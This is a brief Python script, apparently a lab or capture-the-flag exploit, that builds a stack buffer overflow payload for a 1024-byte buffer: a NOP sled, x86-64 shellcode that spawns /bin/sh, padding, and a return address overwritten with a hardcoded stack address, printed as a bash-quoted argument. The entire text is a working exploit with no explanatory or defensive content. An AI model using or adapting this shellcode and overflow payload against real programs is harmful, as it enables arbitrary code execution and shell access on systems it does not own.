#!/usr/bin/env python3

import struct

BUF_START = 0x7fffffffe350
BUF_LEN = 1024
SHELLCODE = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62" \
          + b"\x69\x6e\x2f\x2f\x73\x68\x57\x54" \
          + b"\x5f\xb0\x3b\x99\x0f\x05"

payload = b"\x90" * (BUF_LEN - len(SHELLCODE) - 8) \
        + SHELLCODE \
        + b"\x90" * 8 \
        + b"AAAAAAAA" \
        + struct.pack("Q", BUF_START)

print("$'" + "".join([f"\\x{b:02x}" for b in payload]) + "'")
